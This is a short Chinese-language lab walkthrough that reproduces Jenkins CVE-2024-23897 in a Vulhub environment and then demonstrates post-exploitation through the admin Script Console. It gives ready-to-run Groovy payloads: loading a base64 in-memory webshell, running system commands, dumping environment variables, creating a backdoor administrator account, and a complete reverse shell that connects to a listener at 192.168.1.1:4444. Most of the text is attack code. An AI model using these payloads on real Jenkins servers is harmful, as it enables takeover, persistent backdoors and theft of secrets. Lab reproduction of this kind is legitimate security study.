漏洞搭建

通过Vulhub进行漏洞环境搭建

https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2024-23897

账号/密码:admin/vulhub

WEB服务端口8080

漏洞复现

内存马注入

通过账号密码登录后台,找到Script,或者直接拼接路径:/manage/script

使用JMG工具生成内存马:中间件/框架选择Jetty

执行注入内存马语句:

new groovy.lang.GroovyClassLoader().defineClass(null, java.util.Base64.getDecoder().decode("yv66vgAAADEBiQEAG2NvbS9nb29nbGUvZ3NvL2gvU3RyaW5nVXRpbAcAAQEAEGph…")).newInstance();

语句中yv66vgAAADEBiQEA... 为生成的base64内存马,我这里进行简写了。

执行结果

连接内存马

后台相关命令

普通执行命令

命令:

println "whoami".execute().text

执行结果:

获取环境变量

命令:

def env = System.getenv()
println "${env}"

执行结果:

创建用户

命令:

import jenkins.model.*
import hudson.security.*
def instance = Jenkins.getInstance()
def hudsonRealm = new HudsonPrivateSecurityRealm(false)
hudsonRealm.createAccount("ccav","123qwe!@#...")
instance.setSecurityRealm(hudsonRealm)
instance.save()

执行结果:

退出当前用户,使用尝试新创建的ccav用户进行登录:(登录成功)

执行反弹SHELL

命令:

String host="192.168.1.1";
int port=4444;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

192.168.1.1为监听IP,4444为监听端口。

参考链接

https://mp.weixin.qq.com/s?__biz=MzAxNzkyOTgxMw==&mid=2247492751&idx=1&sn=3424a049140716d2c3f42d254314ffee